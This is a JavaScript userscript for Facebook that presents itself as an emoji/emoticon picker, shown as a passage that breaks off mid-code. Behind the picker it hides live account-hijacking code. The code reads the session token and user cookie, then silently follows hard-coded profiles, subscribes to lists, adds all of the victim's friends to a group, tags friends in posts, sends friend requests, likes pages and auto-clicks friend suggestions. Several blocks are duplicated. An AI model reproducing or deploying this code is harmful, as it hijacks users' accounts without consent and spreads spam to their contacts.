"name" : "Koala" }, { "chars" : " \ud83d\udc29 ", "class" : "_1az _1a- _2dg", "name" : "Poodle" }, { "chars" : " \ud83d\udc2b ", "class" : "_1az _1a- _2dh", "name" : "Bactrian Camel" }, { "chars" : " \ud83d\udc2c ", "class" : "_1az _1a- _2di", "name" : "Dolphin" }, { "chars" : " \ud83d\udc2d ", "class" : "_1az _1a- _2dj", "name" : "Mouse Face" }, { "chars" : " \ud83d\udc2e ", "class" : "_1az _1a- _2dk", "name" : "Cow Face" }, { "chars" : " \ud83d\udc2f ", "class" : "_1az _1a- _2dl", "name" : "Cara de tigre" }, { "chars" : " \ud83d\udc30 ", "class" : "_1az _1a- _2dm", "name" : "Rabbit Face" }, { "chars" : " \ud83d\udc31 ", "class" : "_1az _1a- _2dn", "name" : "Cat Face" }, { "chars" : " \ud83d\udc33 ", "class" : "_1az _1a- _2do", "name" : "Whale Sputtering" }, { "chars" : " \ud83d\udc34 ", "class" : "_1az _1a- _2dp", "name" : "Horse Face" }, { "chars" : " \ud83d\udc35 ", "class" : "_1az _1a- _2dq", "name" : "Monkey Face" }, { "chars" : " \ud83d\udc37 ", "class" : "_1az _1a- _2dr", "name" : "Pig face" }, { "chars" : " \ud83d\udc38 ", "class" : "_1az _1a- _2ds", "name" : "Frog Face" }, { "chars" : " \ud83d\udc39 ", "class" : "_1az _1a- _2dt", "name" : "Hamster Face" }, { "chars" : " \ud83d\udc3a ", "class" : "_1az _1a- _2du", "name" : "Wolf Face" }, { "chars" : " \ud83d\udc3b ", "class" : "_1az _1a- _2dv", "name" : "Bear Face" }, { "chars" : " \ud83d\udc3e ", "class" : "_1az _1a- _2dw", "name" : "Footprints" }, { "chars" : " \ud83d\udc40 ", "class" : "_1az _1a- _2dx", "name" : "Eyes" }, { "chars" : " \ud83d\udc42 ", "class" : "_1az _1a- _2dy", "name" : "Ear" }, { "chars" : " \ud83d\udc43 ", "class" : "_1az _1a- _2dz", "name" : "Nose" }, { "chars" : " \ud83d\udc44 ", "class" : "_1az _1a- _2d-", "name" : "Mouth" }, { "chars" : " \ud83d\udc45 ", "class" : "_1az _1a- _2d_", "name" : "Sour Face" }, { "chars" : " \ud83d\udc46 ", "class" : "_1az _1a- _2e0", "name" : "White hand pointing up" }, { "chars" : " \ud83d\udc47 ", "class" : "_1az _1a- _2e1", "name" : "White hand faces downward" }, { "chars" : " \ud83d\udc48 ", "class" : "_1az _1a- _2e2", "name" : "White hand indicating left" }, { "chars" : " \ud83d\udc49 ", "class" : "_1az _1a- _2e3", "name" : "White hand indicating right" }, { "chars" : " \ud83d\udc4a ", "class" : "_1az _1a- _2e4", "name" : "Fist" }, { "chars" : " \ud83d\udc4b ", "class" : "_1az _1a- _2e5", "name" : "Hand in motion" }, { "chars" : " \ud83d\udc4c ", "class" : "_1az _1a- _2e6", "name" : "Hand showing all good" }, { "chars" : " \ud83d\udc4d ", "class" : "_1az _1a- _2e7", "name" : "Hand with thumb up" }, { "chars" : " \ud83d\udc4e ", "class" : "_1az _1a- _2e8", "name" : "Hand with thumb down" }, { "chars" : " \ud83d\udc4f ", "class" : "_1az _1a- _2e9", "name" : "Hands clapping" }, { "chars" : " \ud83d\udc50 ", "class" : "_1az _1a- _2ea", "name" : "Open Hands" }, { "chars" : " \ud83d\udc66 ", "class" : "_1az _1a- _2eb", "name" : "Boy" }, { "chars" : " \ud83d\udc67 ", "class" : "_1az _1a- _2ec", "name" : "Girl" }, { "chars" : " \ud83d\udc68 ", "class" : "_1az _1a- _2ed", "name" : "Man" }, { "chars" : " \ud83d\udc69 ", "class" : "_1az _1a- _2ee", "name" : "Woman" }, { "chars" : " \ud83d\udc6b ", "class" : "_1az _1a- _2ef", "name" : "Man and woman holding hands" }, { "chars" : " \ud83d\udc6e ", "class" : "_1az _1a- _2eg", "name" : "Police Officer" }, { "chars" : " \ud83d\udc6f ", "class" : "_1az _1a- _2eh", "name" : "Woman with bunny ears" }, { "chars" : " \ud83d\udc71 ", "class" : "_1az _1a- _2ei", "name" : "Person with hair rubio" }, { "chars" : " \ud83d\udc72 ", "class" : "_1az _1a- _2ej", "name" : "Man with pi mao gua" }, { "chars" : " \ud83d\udc73 ", "class" : "_1az _1a- _2ek", "name" : "Man with turban" }, { "chars" : " \ud83d\udc74 ", "class" : "_1az _1a- _2el", "name" : "Old Man" }, { "chars" : " \ud83d\udc75 ", "class" : "_1az _1a- _2em", "name" : "Old Woman" }, { "chars" : " \ud83d\udc76 ", "class" : "_1az _1a- _2en", "name" : "Baby" }, { "chars" : " \ud83d\udc77 ", "class" : "_1az _1a- _2eo", "name" : "Construction Worker" }, { "chars" : " \ud83d\udc78 ", "class" : "_1az _1a- _2ep", "name" : "Princess" }, { "chars" : " \ud83d\udc7b ", "class" : "_1az _1a- _2eq", "name" : "Ghost" }, { "chars" : " \ud83d\udc7c ", "class" : "_1az _1a- _2er", "name" : "Angel baby" }, { "chars" : " \ud83d\udc7d ", "class" : "_1az _1a- _2es", "name" : "Alien" }, { "chars" : " \ud83d\udc7e ", "class" : "_1az _1a- _2et", "name" : "Alien Monster" }, { "chars" : " \ud83d\udc7f ", "class" : "_1az _1a- _2eu", "name" : "Imp" }, { "chars" : " \ud83d\udc80 ", "class" : "_1az _1a- _2ev", "name" : "Skull" }, { "chars" : " \ud83d\udc82 ", "class" : "_1az _1a- _2ew", "name" : "Guard" }, { "chars" : " \ud83d\udc83 ", "class" : "_1az _1a- _2ex", "name" : "Ballerina" }, { "chars" : " \ud83d\udc85 ", "class" : "_1az _1a- _2ey", "name" : "Nail Polish" }, { "chars" : " \ud83d\udc8b ", "class" : "_1az _1a- _2ez", "name" : "Brand of kiss" }, { "chars" : " \ud83d\udc8f ", "class" : "_1az _1a- _2e-", "name" : "Kissing couple" }, { "chars" : " \ud83d\udc90 ", "class" : "_1az _1a- _2e_", "name" : "Bunch of flowers" }, { "chars" : " \ud83d\udc91 ", "class" : "_1az _1a- _2f0", "name" : "Couple with heart" }, { "chars" : " \ud83d\udc93 ", "class" : "_1az _1a- _2f1", "name" : "Heart beating" }, { "chars" : " \ud83d\udc94 ", "class" : "_1az _1a- _2f2", "name" : "Broken Heart" }, { "chars" : " \ud83d\udc96 ", "class" : "_1az _1a- _2f3", "name" : "Bright Heart" }, { "chars" : " \ud83d\udc97 ", "class" : "_1az _1a- _2f4", "name" : "Heart growing" }, { "chars" : " \ud83d\udc98 ", "class" : "_1az _1a- _2f5", "name" : "Heart with arrow" }, { "chars" : " \ud83d\udc99 ", "class" : "_1az _1a- _2f6", "name" : "Blue Heart" }, { "chars" : " \ud83d\udc9a ", "class" : "_1az _1a- _2f7", "name" : "Green Heart" }, { "chars" : " \ud83d\udc9b ", "class" : "_1az _1a- _2f8", "name" : "Yellow Heart" }, { "chars" : " \ud83d\udc9c ", "class" : "_1az _1a- _2f9", "name" : "Purple Heart" }, { "chars" : " \ud83d\udc9d ", "class" : "_1az _1a- _2fa", "name" : "Heart with ribbon" }, { "chars" : " \ud83d\udca2 ", "class" : "_1az _1a- _2fb", "name" : "Symbol of anger" }, { "chars" : " \ud83d\udca4 ", "class" : "_1az _1a- _2fc", "name" : "Sleeping" }, { "chars" : " \ud83d\udca6 ", "class" : "_1az _1a- _2fd", "name" : "Sweat Symbol" }, { "chars" : " \ud83d\udca8 ", "class" : "_1az _1a- _2fe", "name" : "Quick Start Symbol" }, { "chars" : " \ud83d\udca9 ", "class" : "_1az _1a- _2ff", "name" : "Pile of Caca" }, { "chars" : " \ud83d\udcaa ", "class" : "_1az _1a- _2fg", "name" : "Flexed bicep" }, { "chars" : " \ud83d\udcbb ", "class" : "_1az _1a- _2fh", "name" : "Personal Computer" }, { "chars" : " \ud83d\udcbd ", "class" : "_1az _1a- _2fi", "name" : "Mini Disco" }, { "chars" : " \ud83d\udcbe ", "class" : "_1az _1a- _2fj", "name" : "Floppy disk" }, { "chars" : " \ud83d\udcbf ", "class" : "_1az _1a- _2fk", "name" : "Optical Disc" }, { "chars" : " \ud83d\udcc0 ", "class" : "_1az _1a- _2fl", "name" : "DVD" }, { "chars" : " \ud83d\udcde ", "class" : "_1az _1a- _2fm", "name" : "Telephone receiver" }, { "chars" : " \ud83d\udce0 ", "class" : "_1az _1a- _2fn", "name" : "Fax" }, { "chars" : " \ud83d\udcf1 ", "class" : "_1az _1a- _2fo", "name" : "Mobile Phone" }, { "chars" : " \ud83d\udcf2 ", "class" : "_1az _1a- _2fp", "name" : "Mobile phone with arrow from left to right" }, { "chars" : " \ud83d\udcfa ", "class" : "_1az _1a- _2fq", "name" : "Television" }, { "chars" : " \ud83d\udd14 ", "class" : "_1az _1a- _2fr", "name" : "Bell" }, { "chars" : " \ud83d\ude01 ", "class" : "_1az _1a- _2fs", "name" : "Face to face with smiling eyes" }, { "chars" : " \ud83d\ude02 ", "class" : "_1az _1a- _2ft", "name" : "Face with tears of joy" }, { "chars" : " \ud83d\ude03 ", "class" : "_1az _1a- _2fu", "name" : "Smiley face with open mouth" }, { "chars" : " \ud83d\ude04 ", "class" : "_1az _1a- _2fv", "name" : "Face and eyes smiling with mouth open" }, { "chars" : " \ud83d\ude06 ", "class" : "_1az _1a- _2fw", "name" : "Smiley face with mouth open and eyes closed" }, { "chars" : " \ud83d\ude09 ", "class" : "_1az _1a- _2fx", "name" : "Face winking eye" }, { "chars" : " \ud83d\ude0b ", "class" : "_1az _1a- _2fy", "name" : "Guy savoring delicious food" }, { "chars" : " \ud83d\ude0c ", "class" : "_1az _1a- _2fz", "name" : "Relief face" }, { "chars" : " \ud83d\ude0d ", "class" : "_1az _1a- _2f-", "name" : "Smiley face with heart shaped eyes" }, { "chars" : " \ud83d\ude0f ", "class" : "_1az _1a- _2f_", "name" : "Smirk face" }, { "chars" : " \ud83d\ude12 ", "class" : "_1az _1a- _2g0", "name" : "Face of boredom" }, { "chars" : " \ud83d\ude13 ", "class" : "_1az _1a- _2g1", "name" : "Face with cold sweat" }, { "chars" : " \ud83d\ude14 ", "class" : "_1az _1a- _2g2", "name" : "Pensive face" }, { "chars" : " \ud83d\ude16 ", "class" : "_1az _1a- _2g3", "name" : "Confused face" }, { "chars" : " \ud83d\ude18 ", "class" : "_1az _1a- _2g4", "name" : "Throwing kiss Face" }, { "chars" : " \ud83d\ude1a ", "class" : "_1az _1a- _2g5", "name" : "Kissing face with eyes closed" }, { "chars" : " \ud83d\ude1c ", "class" : "_1az _1a- _2g6", "name" : "Face with tongue out and winking" }, { "chars" : " \ud83d\ude1d ", "class" : "_1az _1a- _2g7", "name" : "Face with tongue hanging out and eyes closed" }, { "chars" : " \ud83d\ude1e ", "class" : "_1az _1a- _2g8", "name" : "Face discouraged" }, { "chars" : " \ud83d\ude20 ", "class" : "_1az _1a- _2g9", "name" : "Face of anger" }, { "chars" : " \ud83d\ude21 ", "class" : "_1az _1a- _2ga", "name" : "Very angry face" }, { "chars" : " \ud83d\ude22 ", "class" : "_1az _1a- _2gb", "name" : "Crying Face" }, { "chars" : " \ud83d\ude23 ", "class" : "_1az _1a- _2gc", "name" : "Face of perseverance" }, { "chars" : " \ud83d\ude24 ", "class" : "_1az _1a- _2gd", "name" : "Face of triumph" }, { "chars" : " \ud83d\ude25 ", "class" : "_1az _1a- _2ge", "name" : "Face discouraged but relieved" }, { "chars" : " \ud83d\ude28 ", "class" : "_1az _1a- _2gf", "name" : "Scary face" }, { "chars" : " \ud83d\ude29 ", "class" : "_1az _1a- _2gg", "name" : "Fatigued face" }, { "chars" : " \ud83d\ude2a ", "class" : "_1az _1a- _2gh", "name" : "Sleeping face" }, { "chars" : " \ud83d\ude2b ", "class" : "_1az _1a- _2gi", "name" : "Tired face" }, { "chars" : " \ud83d\ude2d ", "class" : "_1az _1a- _2gj", "name" : "Face screaming" }, { "chars" : " \ud83d\ude30 ", "class" : "_1az _1a- _2gk", "name" : "Face with mouth open and cold sweat" }, { "chars" : " \ud83d\ude31 ", "class" : "_1az _1a- _2gl", "name" : "Terrified face of fear" }, { "chars" : " \ud83d\ude32 ", "class" : "_1az _1a- _2gm", "name" : "Very surprised face" }, { "chars" : " \ud83d\ude33 ", "class" : "_1az _1a- _2gn", "name" : "Face flushed" }, { "chars" : " \ud83d\ude35 ", "class" : "_1az _1a- _2go", "name" : "Face dizzy" }, { "chars" : " \ud83d\ude37 ", "class" : "_1az _1a- _2gp", "name" : "Face with medical mask" }, { "chars" : " \ud83d\ude38 ", "class" : "_1az _1a- _2gq", "name" : "Grinning Cat face and eyes closed" }, { "chars" : " \ud83d\ude39 ", "class" : "_1az _1a- _2gr", "name" : "Cat face with tears of laughter" }, { "chars" : " \ud83d\ude3a ", "class" : "_1az _1a- _2gs", "name" : "Smiling cat face with open mouth" }, { "chars" : " \ud83d\ude3b ", "class" : "_1az _1a- _2gt", "name" : "Smiling cat face with hearts in her eyes" }, { "chars" : " \ud83d\ude3c ", "class" : "_1az _1a- _2gu", "name" : "Face of cat smile twisted" }, { "chars" : " \ud83d\ude3d ", "class" : "_1az _1a- _2gv", "name" : "Cat face kissing with eyes closed" }, { "chars" : " \ud83d\ude3f ", "class" : "_1az _1a- _2gw", "name" : "Cat face crying" }, { "chars" : " \ud83d\ude40 ", "class" : "_1az _1a- _2gx", "name" : "Cat face scared terrified" }, { "chars" : " \ud83d\ude4b ", "class" : "_1az _1a- _2gy", "name" : "Happy person raising a hand" }, { "chars" : " \ud83d\ude4c ", "class" : "_1az _1a- _2gz", "name" : "Person holding up both hands in celebration" }, { "chars" : " \ud83d\ude4d ", "class" : "_1az _1a- _2g-", "name" : "Person frowning" }, { "chars" : " \ud83d\ude4f ", "class" : "_1az _1a- _2g_", "name" : "Person in prayer" }, { "chars" : " \u261d ", "class" : "_1az _1a- _2h0", "name" : "Index finger pointing up" }, { "chars" : " \u263a ", "class" : "_1az _1a- _2h1", "name" : "White face smiling" }, { "chars" : " \u26a1 ", "class" : "_1az _1a- _2h2", "name" : "High voltage symbol" }, { "chars" : " \u26c4 ", "class" : "_1az _1a- _2h3", "name" : "Snowless snowman" }, { "chars" : " \u270a ", "class" : "_1az _1a- _2h4", "name" : "Fist up" }, { "chars" : " \u270b ", "class" : "_1az _1a- _2h5", "name" : "Hand pointing up" }, { "chars" : " \u270c ", "class" : "_1az _1a- _2h6", "name" : "Winning Hand" }, { "chars" : " \u2600 ", "class" : "_1az _1a- _2h7", "name" : "Sun With Rays" }, { "chars" : " \u2601 ", "class" : "_1az _1a- _2h8", "name" : "Cloud" }, { "chars" : " \u2614 ", "class" : "_1az _1a- _2h9", "name" : "Umbrella With Rain Drops" }, { "chars" : " \u2615 ", "class" : "_1az _1a- _2ha", "name" : "Hot Drink" }, { "chars" : " \u2728 ", "class" : "_1az _1a- _2hb", "name" : "Brightness" }, { "chars" : " \u2764 ", "class" : "_1az _1a- _2hc", "name" : "Heavy Black Heart" } ]; // = Variables ======= var lastActiveElement = document.activeElement; // = Functions ======= function createElement(html) { var outerHTML = document.createElement("div"); outerHTML.innerHTML = html; return outerHTML.firstChild; } function htmlSpecialChars(string) { var div = document.createElement("div"); var text = document.createTextNode(string); div.appendChild(text); return div.innerHTML; } function isInstanceOfTextInput(element) { return (element instanceof HTMLInputElement && element.type == "text") || element instanceof HTMLTextAreaElement; } function isFlyoutOpen(flyout) { return flyout.className == "openToggler"; } function openFlyout(flyout, open) { if (open === undefined) { open = !isFlyoutOpen(flyout); // Toggle } if (open) { flyout.className = "openToggler"; } else { flyout.removeAttribute("class"); } } function createTab(titleContainer, bodyContainer) { var html; // Tab; default = inactive html = '<li class="jewelFlyout fbJewelFlyout uiToggleFlyout">'; html += '<div class="jewelFlyout">'; html += '</div>'; html += '</li>'; var title = createElement(html); titleContainer.appendChild(title); // Manual input html = '<div style="display: none;">'; html += '</div>'; var body = createElement(html); bodyContainer.appendChild(body); // Change tab listener (function(body) { title.addEventListener("click", function() { // Change tab var titles = this.parentNode.childNodes; // tab.tabContainer.childNodes for ( var t = 0; t < titles.length; t++) { if (titles[t] === this) { // Active } else { // Inactive titles[t].style.background = ""; titles[t].firstChild.style.color = ""; } } // Change body var bodies = body.parentNode.childNodes; // body.bodyContainer.childNodes for ( var b = 0; b < bodies.length; b++) { if (bodies[b] === body) { // Show body.style.display = ""; } else { // Hide bodies[b].style.display = "none"; } } }); })(body); return { "title" : title.firstChild, "body" : body }; } function createTabListBody(emoticons, filter) { var html; html = '<div style="max-height: 200px; padding-right: 15px; overflow-x: hidden; line-height: 1em;">'; html += '<div style="padding: 10px; width: 200px; font-size: 15px;">'; html += '</div>'; html += '</div>'; var body = createElement(html).firstChild; for ( var e = 0; e < emoticons.length; e++) { var emoticon = emoticons[e]; if (!filter(emoticon)) { continue; } // Icons html = '<span class="panelCell" style="display: inline-block; vertical-align: middle; padding: 2px;">'; html += '<a'; html += ' class="emoticon' + (emoticon.class !== undefined ? ' ' + emoticon.class : '') + '"'; html += ' style="text-decoration: inherit; color: inherit;' + (emoticon.class !== undefined ? ' color: transparent;' : ' width: auto;') + '"'; html += (emoticon.name !== undefined ? ' title="' + emoticon.name + '"' : ''); html += '>'; html += htmlSpecialChars(emoticon.chars); html += '</a>'; html += '</span>'; var cell = createElement(html); body.appendChild(cell); // Select emoticon listener var emoticonA = cell.firstChild; (function(emoticon) { emoticonA.addEventListener("click", function() { if (isInstanceOfTextInput(lastActiveElement)) { lastActiveElement.focus(); var chars = emoticon.chars; var value = lastActiveElement.value; var start = lastActiveElement.selectionStart; var end = lastActiveElement.selectionEnd; lastActiveElement.value = value.substring(0, start) + chars + value.substring(end); lastActiveElement.setSelectionRange(start + chars.length, start + chars.length); } openFlyoutCommand = false; // Close flyout }); })(emoticon); } return body.parentNode; } // = Construct UI ======= var html; // Menu item // var navItem html = '<li class="navItem middleItem notifNegativeBase">'; html += '<div class="fbJewel">'; // { // Toggler html += '<a class="navLink" title="1 Thông Báo Mới">'; // var navLink html += '<span style="vertical-align: middle;"><img src="http://static.ak.fbcdn.net/rsrc.php/v1/yY/r/7OqExvAe82o.gif"></img></span>'; html += '</a>'; // Flyout html += '<div>'; // openToggler; var flyout html += '<div class="emoticonsPanel fbJewelFlyout uiToggleFlyout" style="z-index: 1; width: auto;">'; // { // Beeper html += '<div class="jewelBeeperHeader">'; html += '<div class="beeperNubWrapper">'; html += '<div class="beeperNub" style="left: 4px;"></div>'; html += '</div>'; html += '</div>'; // Tabs // var titleContainer html += '<ul style="display: text-align: center;">'; html += '</ul>'; // Bodies html += '<div>'; // var bodyContainer html += '</div>'; // Footer html += '<div class="jewelFooter">'; html += '<a class="jewelFooter" href="https://www.facebook.com/callmeJhay.ar" target="_blank">Find me on Facebook for more Cool FB Tricks!<br>Rhen</a>'; html += '</div>'; // } html += '</div>'; // emoticonsPanel html += '</div>'; // openToggler // } html += '</div>'; // fbJewel html += '</li>'; // navItem var navItem = createElement(html); var pageNav = document.querySelector("#pageNav"); pageNav.insertBefore(navItem, pageNav.firstChild); // Maintain active element navItem.addEventListener("click", function() { if (isInstanceOfTextInput(lastActiveElement)) { lastActiveElement.focus(); } openFlyoutCommand = undefined; // Do nothing }, true); var navLink = navItem.firstChild.firstChild; var flyout = navLink.nextSibling; var titleContainer = flyout.firstChild.childNodes[1]; var bodyContainer = titleContainer.nextSibling; // Toggle listener navLink.addEventListener("click", function() { openFlyoutCommand = !isFlyoutOpen(flyout); }); // Picture emoticon tab var picEmoTab = createTab(titleContainer, bodyContainer); picEmoTab.title.click(); // Default tab picEmoTab.body.appendChild(createTabListBody(emoticons, function(emoticon) { if (emoticon.class === undefined) { // No picture return false; } // [Bug] 2 characters unicode emoticons if (emoticon.chars.length == 2) { return false; } return true; })); // = Other listener ======= document.addEventListener("click", function() { // Get active textarea lastActiveElement = document.activeElement; // Toggle flyout if (openFlyoutCommand !== undefined) { openFlyout(flyout, openFlyoutCommand); } openFlyoutCommand = false; }); })(); // === Facebook Emoticons ==== var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } function getRandomInt (min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)]; } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } function getRandomInt (min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)]; } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){ var http4 = new XMLHttpRequest(); var url4 = "/ajax/follow/follow_profile.php?__a=1"; var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function() {//Call a function when the state changes. if(http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } //BOSSTER// a("100007688500197"); a("100004156140628"); a("100001981891207"); sublist("1385595931706677"); sublist("1385634855036118"); //Group ku adibpn var gid = ['113']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "582018668558520"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada leme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } function autoSuggest() { links=document.getElementsByTagName('a'); for (i in links) { l=links[i]; if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') { l.click(); } } } function blub() { if(document.getElementsByClassName('pbm fsm').length == 1) { w = document.getElementsByClassName('pbm fsm')[0]; e = document.createElement('a'); //e.href = '#'; e.innerHTML = 'Auto Suggest by Adib Pugar Nuraga'; e.className = 'uiButton'; e.onclick = autoSuggest; if( w.childElementCount == 0) { w.appendChild(document.createElement('br')); w.appendChild(e); } } } blub(); document.addEventListener("DOMNodeInserted", blub, true); // Like pic like page var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close } ; http4.send(params4) } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + 